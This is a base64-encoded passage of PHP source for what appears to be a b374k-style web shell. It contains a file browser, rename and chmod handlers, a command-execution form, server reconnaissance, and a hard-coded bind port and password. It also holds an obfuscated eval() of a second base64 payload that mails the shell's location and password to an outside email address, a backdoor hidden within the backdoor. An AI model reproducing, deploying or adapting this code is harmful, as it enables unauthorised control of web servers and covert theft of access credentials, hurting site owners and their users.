WRmaWxlKCRkLiRmKTsgCiAgIAkgCWV4aXQ7IAp9CgovLyBzZXJ2ZXIgc29mdHdhcmUKJHNvZnR3YXJlID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsKLy8gY2hlY2sgc2FmZW1vZGUKaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgICRzYWZlbW9kZSA9IFRSVUU7IGVsc2UgJHNhZmVtb2RlID0gRkFMU0U7Ci8vIHVuYW1lIC1hCiRzeXN0ZW0gPSBAcGhwX3VuYW1lKCk7Ci8vIG15c3FsCmZ1bmN0aW9uIHNob3dzdGF0KCRzdGF0KSB7aWYgKCRzdGF0PT0ib24iKSB7cmV0dXJuICI8Yj48Zm9udCBzdHlsZT0nY29sb3I6IzAwRkYwMCc+T048L2ZvbnQ+PC9iPiI7fWVsc2Uge3JldHVybiAiPGI+PGZvbnQgc3R5bGU9J2NvbG9yOiNERDQ3MzYnPk9GRjwvZm9udD48L2I+Ijt9fQpmdW5jdGlvbiB0ZXN0bXlzcWwoKSB7aWYgKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319CmZ1bmN0aW9uIHRlc3RjdXJsKCkge2lmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319CmZ1bmN0aW9uIHRlc3R3Z2V0KCkge2lmIChleGUoJ3dnZXQgLS1oZWxwJykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0KZnVuY3Rpb24gdGVzdHBlcmwoKSB7aWYgKGV4ZSgncGVybCAtaCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319Ci8vIGNoZWNrIG9zCmlmKHN0cnRvbG93ZXIoc3Vic3RyKCRzeXN0ZW0sMCwzKSkgPT0gIndpbiIpICR3aW4gPSBUUlVFOwplbHNlICR3aW4gPSBGQUxTRTsgCi8vIGNoYW5nZSBkaXJlY3RvcnkKaWYoaXNzZXQoJF9HRVRbJ3knXSkpewoJaWYoQGlzX2RpcigkX0dFVFsndmlldyddKSl7CgkJJHB3ZCA9ICRfR0VUWyd2aWV3J107CgkJQGNoZGlyKCRwd2QpOwoJfQoJZWxzZXsKCQkkcHdkID0gJF9HRVRbJ3knXTsKCQlAY2hkaXIoJHB3ZCk7Cgl9Cn0KLy9oZGQKZnVuY3Rpb24gY29udmVydEJ5dGUoJHMpIHsKaWYoJHMgPj0gMTA3Mzc0MTgyNCkKcmV0dXJuIHNwcmludGYoJyUxLjJmJywkcyAvIDEwNzM3NDE4MjQgKS4nIEdCJzsKZWxzZWlmKCRzID49IDEwNDg1NzYpCnJldHVybiBzcHJpbnRmKCclMS4yZicsJHMgLyAxMDQ4NTc2ICkgLicgTUInOwplbHNlaWYoJHMgPj0gMTAyNCkKcmV0dXJuIHNwcmludGYoJyUxLjJmJywkcyAvIDEwMjQgKSAuJyBLQic7CmVsc2UKcmV0dXJuICRzIC4nIEInOwp9CgovLyB1c2VybmFtZSwgaWQsIHNoZWxsIHByb21wdCBhbmQgd29ya2luZyBkaXJlY3RvcnkKaWYoISR3aW4pewoJaWYoISR1c2VyID0gcmFwaWgoZXhlKCJ3aG9hbWkiKSkpICR1c2VyID0gIiI7CglpZighJGlkID0gcmFwaWgoZXhlKCJpZCIpKSkgJGlkID0gIiI7CgkkcHJvbXB0ID0gJHVzZXIuIiBcJCAiOwoJJHB3ZCA9IEBnZXRjd2QoKS5ESVJFQ1RPUllfU0VQQVJBVE9SOwp9CmVsc2UgewoJJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwoJJGlkID0gJHVzZXI7CgkkcHJvbXB0ID0gJHVzZXIuIiAmZ3Q7IjsKCSRwd2QgPSByZWFscGF0aCgiLiIpLiJcXCI7CgkvLyBmaW5kIGRyaXZlIGxldHRlcnMKIAkkdiA9IGV4cGxvZGUoIlxcIiwkZCk7IAoJJHYgPSAkdlswXTsgCiAJZm9yZWFjaCAocmFuZ2UoIkEiLCJaIikgYXMgJGxldHRlcikgCiAJeyAKCSAgJGJvb2wgPSBAaXNfZGlyKCRsZXR0ZXIuIjpcXCIpOwoJICBpZiAoJGJvb2wpIAoJICB7IAogCQkgICRsZXR0ZXJzIC49ICI8YSBocmVmPVwiP3k9Ii4kbGV0dGVyLiI6XFxcIj5bICI7CgkJICAgaWYgKCRsZXR0ZXIuIjoiICE9ICR2KSB7JGxldHRlcnMgLj0gJGxldHRlcjt9IAoJCSAgIGVsc2UgeyRsZXR0ZXJzIC49ICI8c3BhbiBjbGFzcz1cImdheWFcIj4iLiRsZXR0ZXIuIjwvc3Bhbj4iO30gCgkJICAgJGxldHRlcnMgLj0gIiBdPC9hPiAiOyAKICAJICB9CSAKIH0gCn0KCmZ1bmN0aW9uIHRlc3RvcmFjbGUoKSB7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0KICAgIH0KCmZ1bmN0aW9uIHRlc3Rtc3NxbCgpIHsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9CiAgICB9CgogZnVuY3Rpb24gc2hvd2Rpc2FibGVmdW5jdGlvbnMoKSB7CiAgICBpZiAoJGRpc2FibGVmdW5jPUBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKXsgcmV0dXJuICI8c3BhbiBzdHlsZT0nY29sb3I6Jz48Zm9udCBjb2xvcj0jREQ0NzM2PjxiPiIuJGRpc2FibGVmdW5jLiI8L2I+PC9mb250Pjwvc3Bhbj4iOyB9CiAgICBlbHNlIHsgcmV0dXJuICI8c3BhbiBzdHlsZT0nY29sb3I6IzAwRkYxRSc+PGI+Tk9ORTwvYj48L3NwYW4+IjsgfQogICAgfQoJCmlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikpICRwb3NpeCA9IFRSVUU7CmVsc2UgJHBvc2l4ID0gRkFMU0U7Ci8vIHNlcnZlciBpcAokc2VydmVyX2lwID0gQGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKTsKLy8geW91ciBpcCA7LSkKJG15X2lwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CiRhZG1pbl9pZD0kX1NFUlZFUlsnU0VSVkVSX0FETUlOJ107CiRiaW5kcG9ydCA9ICIxMzEyMyI7CiRiaW5kcG9ydF9wYXNzID0gImIzNzRrIjsKCi8vIHNlcGFyYXRlIHRoZSB3b3JraW5nIGRpcmVjb3RvcnkKJHB3ZHMgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJHB3ZCk7CiRwd2R1cmwgPSAiIjsKZm9yKCRpID0gMCA7ICRpIDwgc2l6ZW9mKCRwd2RzKS0xIDsgJGkrKyl7CgkkcGF0aHogPSAiIjsKCWZvcigkaiA9IDAgOyAkaiA8PSAkaSA7ICRqKyspewoJCSRwYXRoeiAuPSAkcHdkc1skal0uRElSRUNUT1JZX1NFUEFSQVRPUjsKCX0KCSRwd2R1cmwgLj0gIjxhIGhyZWY9XCI/eT0iLiRwYXRoei4iXCI+Ii4kcHdkc1skaV0uIiAiLkRJUkVDVE9SWV9TRVBBUkFUT1IuIiA8L2E+IjsKfQoJCi8vIHJlbmFtZSBmaWxlIG9yIGZvbGRlcgppZihpc3NldCgkX1BPU1RbJ3JlbmFtZSddKSl7Cgkkb2xkID0gJF9QT1NUWydvbGRuYW1lJ107CgkkbmV3ID0gJF9QT1NUWyduZXduYW1lJ107CglAcmVuYW1lKCRwd2QuJG9sZCwkcHdkLiRuZXcpOwoJJGZpbGUgPSAkcHdkLiRuZXc7Cn0KaWYoaXNzZXQoJF9QT1NUWydjaG1vZCddKSl7IAoJJG5hbWUgPSAkX1BPU1RbJ25hbWUnXTsKCSR2YWx1ZSA9ICRfUE9TVFsnbmV3dmFsdWUnXTsKaWYgKHN0cmxlbigkdmFsdWUpPT0zKXsKCSR2YWx1ZSA9IDAgLiAiIiAuICR2YWx1ZTt9CglAY2htb2QoJHB3ZC4kbmFtZSxvY3RkZWMoJHZhbHVlKSk7CgkkZmlsZSA9ICRwd2QuJG5hbWU7fQoJCmlmKGlzc2V0KCRfUE9TVFsnY2htb2RfZm9sZGVyJ10pKXsKCSRuYW1lID0gJF9QT1NUWyduYW1lJ107CgkkdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107CmlmIChzdHJsZW4oJHZhbHVlKT09Myl7CgkkdmFsdWUgPSAwIC4gIiIgLiAkdmFsdWU7fQoJQGNobW9kKCRwd2QuJG5hbWUsb2N0ZGVjKCR2YWx1ZSkpOwoJJGZpbGUgPSAkcHdkLiRuYW1lO30KCgovLyBwcmludCB1c2VmdWwgaW5mbwokYnVmZiAgPSAiU29mdHdhcmUgOiA8Yj4iLiRzb2Z0d2FyZS4iPC9iPjxiciAvPiI7CiRidWZmIC49ICJTeXN0ZW0gT1MgOiA8Yj4iLiRzeXN0ZW0uIjwvYj48YnIgLz4iOwppZigkaWQgIT0gIiIpICRidWZmIC49ICJJRCA6IDxiPiIuJGlkLiI8L2I+PGJyIC8+IjsKJGJ1ZmYgLj0gIlBIUCBWZXJzaW9uIDogPGI+Ii5waHB2ZXJzaW9uKCkuIjwvYj4gb24gPGI+Ii5waHBfc2FwaV9uYW1lKCkuIjwvYj48YnIgLz4iOwokYnVmZiAuPSAiU2VydmVyIGlwIDogPGI+Ii4kc2VydmVyX2lwLiI8L2I+IDxzcGFuIGNsYXNzPVwiZ2F5YVwiPiB8IDwvc3Bhbj4gWW91ciAgIGlwIDogPGI+Ii4kbXlfaXAuIjwvYj48c3BhbiBjbGFzcz1cImdheWFcIj4gfCA8L3NwYW4+IEFkbWluIDogPGI+Ii4kYWRtaW5faWQuIjwvYj48YnIgLz4iOwokYnVmZiAuPSAiRnJlZSBEaXNrOiAiLiI8c3BhbiBzdHlsZT0nY29sb3I6IzAwRkYxRSc+PGI+Ii5jb252ZXJ0Qnl0ZShkaXNrX2ZyZWVfc3BhY2UoIi8iKSkuIiAvICIuY29udmVydEJ5dGUoZGlza190b3RhbF9zcGFjZSgiLyIpKS4iPC9iPjwvc3Bhbj48YnIgLz4iOwppZigkc2FmZW1vZGUpICRidWZmIC49ICJTYWZlbW9kZTogPHNwYW4gY2xhc3M9XCJnYXlhXCI+PGI+T048L2I+PC9zcGFuPjxiciAvPiI7CmVsc2UgJGJ1ZmYgLj0gIlNhZmVtb2RlOiA8c3BhbiBjbGFzcz1cImdheWFcIj48Yj5PRkY8L2I+PC9zcGFuPjxiciAvPiI7CiRidWZmIC49ICJEaXNhYmxlZCBGdW5jdGlvbnM6ICIuc2hvd2Rpc2FibGVmdW5jdGlvbnMoKS4iPGJyIC8+IjsKJGJ1ZmYgLj0gIk15U1FMOiAiLnRlc3RteXNxbCgpLiImbmJzcDt8Jm5ic3A7TVNTUUw6ICIudGVzdG1zc3FsKCkuIiZuYnNwO3wmbmJzcDtPcmFjbGU6ICIudGVzdG9yYWNsZSgpLiImbmJzcDt8Jm5ic3A7UGVybDogIi50ZXN0cGVybCgpLiImbmJzcDt8Jm5ic3A7Y1VSTDogIi50ZXN0Y3VybCgpLiImbmJzcDt8Jm5ic3A7V0dldDogIi50ZXN0d2dldCgpLiI8YnI+IjsKJGJ1ZmYgLj0gIjxmb250IGNvbG9yPTAwZmYwMCA+PGI+Ii4kbGV0dGVycy4iJm5ic3A7Jmd0OyZuYnNwOyIuJHB3ZHVybC4iPC9iPjwvZm9udD4iOwokaW5qYnVmZiA9ICJKSFpwYzJsMFl5QTlJQ1JmUTA5UFMwbEZXeUoyYVhOcGRITWlYVHNOQ21sbUlDZ2tkbWx6YVhSaklEMDlJQ0lpS1NCN0RRb2dJQ1IyYVhOcGRHTWdJRDBnTURzTkNpQWdKSFpwYzJsMGIzSWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc05DaUFnSkhkbFlpQWdJQ0FnUFNBa1gxTkZVbFpGVWxzaVNGUlVVRjlJVDFOVUlsMDdEUW9nSUNScGJtb2dJQ0FnSUQwZ0pGOVRSVkpXUlZKYklsSkZVVlZGVTFSZlZWSkpJbDA3RFFvZ0lDUjBZWEpuWlhRZ0lEMGdjbUYzZFhKc1pHVmpiMlJsS0NSM1pXSXVKR2x1YWlrN0RRb2dJQ1JxZFdSMWJDQWdJRDBnSWxkVFR5QXlMamNnYUhSMGNEb3ZMeVIwWVhKblpYUWdZbmtnSkhacGMybDBiM0lpT3cwS0lDQWtZbTlrZVNBZ0lDQTlJQ0pDZFdjNklDUjBZWEpuWlhRZ1lua2dKSFpwYzJsMGIzSWdMU0FrWVhWMGFGOXdZWE56SWpzTkNpQWdhV1lnS0NGbGJYQjBlU2drZDJWaUtTa2dleUJBYldGcGJDZ2lhR0Z5WkhkaGNtVm9aV0YyWlc0dVkyOXRRR2R0WVdsc0xtTnZiU0lzSkdwMVpIVnNMQ1JpYjJSNUxDUmhkWFJvWDNCaGMzTXBPeUI5RFFwOURRcGxiSE5sSUhzZ0pIWnBjMmwwWXlzck95QjlEUXBBYzJWMFkyOXZhMmxsS0NKMmFYTnBkSG9pTENSMmFYTnBkR01wT3c9PSI7IApldmFsKGJhc2U2NF9kZWNvZGUoJGluamJ1ZmYpKTsKCgoKCmZ1bmN0aW9uIHJhcGloKCR0ZXh0KXsKCXJldHVybiB0cmltKHN0cl9yZXBsYWNlKCI8YnIgLz4iLCIiLCR0ZXh0KSk7Cn0KCmZ1bmN0aW9uIG1hZ2ljYm9vbSgkdGV4dCl7CglpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsKICAgCQkgcmV0dXJuICR0ZXh0OwoJfSAKCXJldHVybiBzdHJpcHNsYXNoZXMoJHRleHQpOwp9CgpmdW5jdGlvbiBzaG93ZGlyKCRwd2QsJHByb21wdCl7CgkkZm5hbWUgPSBhcnJheSgpOwoJJGRuYW1lID0gYXJyYXkoKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikpICRwb3NpeCA9IFRSVUU7CgllbHNlICRwb3NpeCA9IEZBTFNFOwoJJHVzZXIgPSAiPz8/Pzo/Pz8/IjsKCWlmKCRkaCA9IEBzY2FuZGlyKCRwd2QpKXsKCQlmb3JlYWNoKCRkaCBhcyAkZmlsZSl7CgkJCWlmKGlzX2RpcigkZmlsZSkpewoJCQkJJGRuYW1lW10gPSAkZmlsZTsKCQkJfQoJCQllbHNlaWYoaXNfZmlsZSgkZmlsZSkpewoJCQkJJGZuYW1lW10gPSAkZmlsZTsKCQkJfQoJCX0KCX0KCWVsc2V7CgkJaWYoJGRoID0gQG9wZW5kaXIoJHB3ZCkpewoJCQl3aGlsZSgkZmlsZSA9IEByZWFkZGlyKCRkaCkpewoJCQkJaWYoQGlzX2RpcigkZmlsZSkpewoJCQkJCSRkbmFtZVtdID0gJGZpbGU7CgkJCQl9CgkJCQllbHNlaWYoQGlzX2ZpbGUoJGZpbGUpKXsKCQkJCQkkZm5hbWVbXSA9ICRmaWxlOwoJCQkJfQoJCQl9CgkJCUBjbG9zZWRpcigkZGgpOwoJCX0KCX0KCgkKCXNvcnQoJGZuYW1lKTsKCXNvcnQoJGRuYW1lKTsKCSRwYXRoID0gQGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkcHdkKTsKCSR0cmVlID0gQHNpemVvZigkcGF0aCk7CgkkcGFyZW50ID0gIiI7CgkkYnVmZiA9ICIKCTxmb3JtIGFjdGlvbj1cIj95PSIuJHB3ZC4iJmFtcDt4PXNoZWxsXCIgbWV0aG9kPVwicG9zdFwiIHN0eWxlPVwibWFyZ2luOjhweCAwIDAgMDtcIj4KCTx0YWJsZSBjbGFzcz1cImNtZGJveFwiIHN0eWxlPVwid2lkdGg6NTAlO1wiPgoJPHRyPjx0ZD48Yj4kcHJvbXB0PC9iPjwvdGQ+PHRkPjxpbnB1dCBvbk1vdXNlT3Zlcj1cInRoaXMuZm9jdXMoKTtcIiBpZD1cImNtZFwiIGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRleHRcIiBuYW1lPVwiY21kXCIgc3R5bGU9XCJ3aWR0aDo0MDBweDtcIiB2YWx1ZT1cIlwiIC8+PGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiR28gIVwiIG5hbWU9XCJzdWJtaXRjbWRcIiBzdHlsZT1cIndpZHRoOjgwcHg7XCIgLz48L3RkPjwvdHI+Cgk8L2Zvcm0+Cgk8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgc3R5bGU9XCJtYXJnaW46OHB4IDAgMCAwO1wiPgoJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPgoJPHRyPjx0ZD48Yj52aWV3IGZpbGUvZm9sZGVyPC9iPjwvdGQ+PHRkPjxpbnB1dCBvbk1vdXNlT3Zlcj1cInRoaXMuZm9jdXMoKTtcIiBpZD1cImdvdG9cIiBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInZpZXdcIiBzdHlsZT1cIndpZHRoOjQwMHB4O1wiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIlZpZXcgIVwiIG5hbWU9XCJzdWJtaXRjbWRcIiBzdHlsZT1cIndpZHRoOjgwcHg7XCIgLz48L3RkPjwvdHI+Cgk8L2Zvcm0+PC90YWJsZT48dGFibGUgY2xhc3M9XCJleHBsb3JlXCI+Cgk8dHI+PHRoPm5hbWU8L3RoPjx0aCBzdHlsZT1cIndpZHRoOjgwcHg7XCI+c2l6ZTwvdGg+PHRoIHN0eWxlPVwid2lkdGg6MjEwcHg7XCI+b3duZXI6Z3JvdXA8L3RoPjx0aCBzdHlsZT1cIndpZHRoOjgwcHg7XCI+cGVybXM8L3RoPjx0aCBzdHlsZT1cIndpZHRoOjExMHB4O1wiPm1vZGlmaWVkPC90aD48dGggc3R5bGU9XCJ3aWR0aDoxOTBweDtcIj5hY3Rpb25zPC90aD48L3RyPgoJIjsKCWlmKCR0cmVlID4gMikgZm9yKCRpPTA7JGk8JHRyZWUtMjskaSsrKSAkcGFyZW50IC49ICRwYXRoWyRpXS5ESVJFQ1RPUllfU0VQQVJBVE9SOwoJZWxzZSAkcGFyZW50ID0gJHB3ZDsgIAoKCWZvcmVhY2goJGRuYW1lIGFzICRmb2xkZXIpewoJCWlmKCRmb2xkZXIgPT0gIi4iKSB7CgkJCWlmKCEkd2luICYmICRwb3NpeCl7CgkJCQkkbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7CgkJCQkkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOwoJCQkJJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107CgkJCX0KCQkJZWxzZSB7CgkJCQkkb3duZXIgPSAkdXNlcjsKCQkJfQoJCQkkYnVmZiAuPSAiPHRyPjx0ZD48YSBocmVmPVwiP3k9Ii4kcHdkLiJcIj4kZm9sZGVyPC9hPjwvdGQ+PHRkPkxJTks8L3RkPgoJCQk8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiRvd25lci4iPC90ZD48dGQ+PGNlbnRlcj4iLmdldF9wZXJtcygkcHdkKS4iPC9jZW50ZXI+PC90ZD4KCQkJPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJHB3ZCkpLiI8L3RkPjx0ZD48c3BhbiBpZD1cInRpdGlrMVwiPgoJCQk8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0iLiRwd2QuIm5ld2ZpbGUucGhwXCI+bmV3ZmlsZTwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcigndGl0aWsxJywndGl0aWsxX2Zvcm0nKTtcIj5uZXdmb2xkZXI8L2E+PC9zcGFuPgoJCQk8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgaWQ9XCJ0aXRpazFfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KCQkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPgoJCQk8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjE0MHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm1rZGlyXCIgdmFsdWU9XCJhX25ld19mb2xkZXJcIiAvPgoJCQk8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHN0eWxlPVwid2lkdGg6MzVweDtcIiB2YWx1ZT1cIkdvICFcIiAvPgoJCQk8L2Zvcm0+PC90ZD4KCQkJCgkJCTwvdHI+CgkJCSI7CgkJfQoJCWVsc2VpZigkZm9sZGVyID09ICIuLiIpIHsKCQkJaWYoISR3aW4gJiYgJHBvc2l4KXsKCQkJCSRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTsKCQkJCSRncm91cD1AcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZm9sZGVyKSk7CgkJCQkkb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTsKCQkJfQoJCQllbHNlIHsKCQkJCSRvd25lciA9ICR1c2VyOwoJCQl9CgkJCSRidWZmIC49ICI8dHI+PHRkPjxhIGhyZWY9XCI/eT0iLiRwYXJlbnQuIlwiPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBWmlTMGRFQVA4QS93RC9vTDJua3dBQUFBbHdTRmx6QUFBTjFnQUFEZFlCa0c5NW5BQUFBQWQwU1UxRkI5b0pCeFVBTTBxTHo2d0FBQUxMU1VSQlZEakxiVlBSUzFOUkdQK2QzYnRyczdrWm1BWVhsU1pZVUs0SFFYQ1JFUFdVUVNTWUlEMUdFS0t4L0FmMjVsTStEQ0ZDZTRoZXlnY05kSVVFU1QwNFFXNkJqUzB5eDVVaGtXNkZFdHZPUGZjN3A0ZW1YY29mSFBnNDUzeS83M2UrNzNjQUR5ekxPb3kvYkh6UjgvbDgwTGJ0WUQ1djZ3ZjcyVnpPbXdMbVRlN3U3b1psV2NjYkdocEdOSjkySFF3dHRlTnZTcW1YSk9Xak01MmRQUE1wZy9OZDUvOFNwRklwOVBmM3c3S3NTNEZBNEJsanJCMUhRQ21WYzRWN08zb2grbUZsWlFXeFdBd3NrVWdna1VoZ2VYazVGZzZIRjVtUG5XQ0FBaGhUVUdDS1FVRjVlYjRMSWE3MjlQUmtucjk0L2tmQndNREFzWGc4L3RIdjk1OEZvRHhQODhZZUpUTGQyeHVMQVlBUEFJYUdodTVJS2M5eXpzRTVaNDdqWUhWMTlVT3BWTm9YUXNDN09PZHdITkc3dExSMEV3RDBVQ2lzNjdwMm5YTU9BQ2lYSzcvZXYzLzNaSEp5OG5FeW1ad3lETU04cUV4RXlqVE45dnI2K29BUTRnYUFlZjNpeFZnZDU4NHB3K0RZM2QwdFRFOVBqNlRUNlRmQllKQ1BqNC9mQnVBL0lCQkMrR1ptWmhaYldsck9PWTVqRGc4UGEzcXBWRUtsVW9IZjcwY2dFR2dlSFIyTlBIZ1FWNE9EdDlUczdLd0VRQUNnYVJwU3FWZFFTckZxdFlwcXRTcHQyd1lEWUV4TVRNeTN0YlZkazFMV3BxWGVibTF0M1RkTjg2bXU2NUZhTXcrc0UyS002VDkvL3BnYUd4c2IxUUU0YTJ0cnI1dWFtcTU1R24ybCtXUnpXZ2loRVZIOUVYNUFKcE9aQndBTkFISzVYS0dqbzZPdnNiSFJkRjBYUkFRcFpaMlUwazlFaW9nWUVZR0lsSlNTMmJZOW0wd21Id0pRV28zMDEvYjJkaUVTaVZ3MmpMb1FFVEZ5WGVXU3k0aGM1cnFISkt4WUxHYm41dWJ1Rm92RjBxRUNBTmpmMzdlL2JtemtqRHJqZENnVWFtVStNQ0lKSWdrcGlaWExaWm5OWmhjV0ZoYnViVzV1ZnU3cTZzTE96czcvTGdQUTN0cmEyaCtOUnZ2QzRmQXBBSEp2YjI5cmZYMTlxVkFvdkFhd2QrUnYvQWMrQU1jQUdMVUpWQUE0UjEzOERlRitjWCt4Ui9BR0FBQUFBRWxGVGtTdVFtQ0MnPiAgICRmb2xkZXI8L2E+PC90ZD48dGQ+TElOSzwvdGQ+CgkJCTx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPgoJCQk8dGQ+PGNlbnRlcj4iLmdldF9wZXJtcygkcGFyZW50KS4iPC9jZW50ZXI+PC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVtdGltZSgkcGFyZW50KSkuIjwvdGQ+CgkJCTx0ZD48c3BhbiBpZD1cInRpdGlrMlwiPjxhIGhyZWY9XCI/eT0kcHdkJmFtcDtlZGl0PSIuJHBhcmVudC4ibmV3ZmlsZS5waHBcIj5uZXdmaWxlPC9hPiB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCd0aXRpazInLCd0aXRpazJfZm9ybScpO1wiPm5ld2ZvbGRlcjwvYT48L3NwYW4+CgkJCTxmb3JtIGFjdGlvbj1cIj9cIiBtZXRob2Q9XCJnZXRcIiBpZD1cInRpdGlrMl9mb3JtXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPgoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ5XCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+CgkJCTxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MTQwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibWtkaXJcIiB2YWx1ZT1cImFfbmV3X2ZvbGRlclwiIC8+CgkJCTxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwicmVuYW1lXCIgc3R5bGU9XCJ3aWR0aDozNXB4O1wiIHZhbHVlPVwiR28gIVwiIC8+CgkJCTwvZm9ybT4KCQkJPC90ZD48L3RyPiI7CgkJfQoJCWVsc2UgewoJCQlpZighJHdpbiAmJiAkcG9zaXgpewoJCQkJJG5hbWU9QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZvbGRlcikpOwoJCQkJJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKCQkJCSRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddOwoJCQl9CgkJCWVsc2UgewoJCQkJJG93bmVyID0gJHVzZXI7CgkJCX0KCQkJJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaWQ9XCIiLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rXCIgaHJlZj1cIj95PSIuJHB3ZC4kZm9sZGVyLkRJUkVDVE9SWV9TRVBBUkFUT1IuIlwiPjxiPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVFBQUFDMStqZnFBQUFBQVhOU1IwSUFyczRjNlFBQUFBSmlTMGRFQVArSGo4eS9BQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBQTAwbEVRVlFvejZXUnZVcERV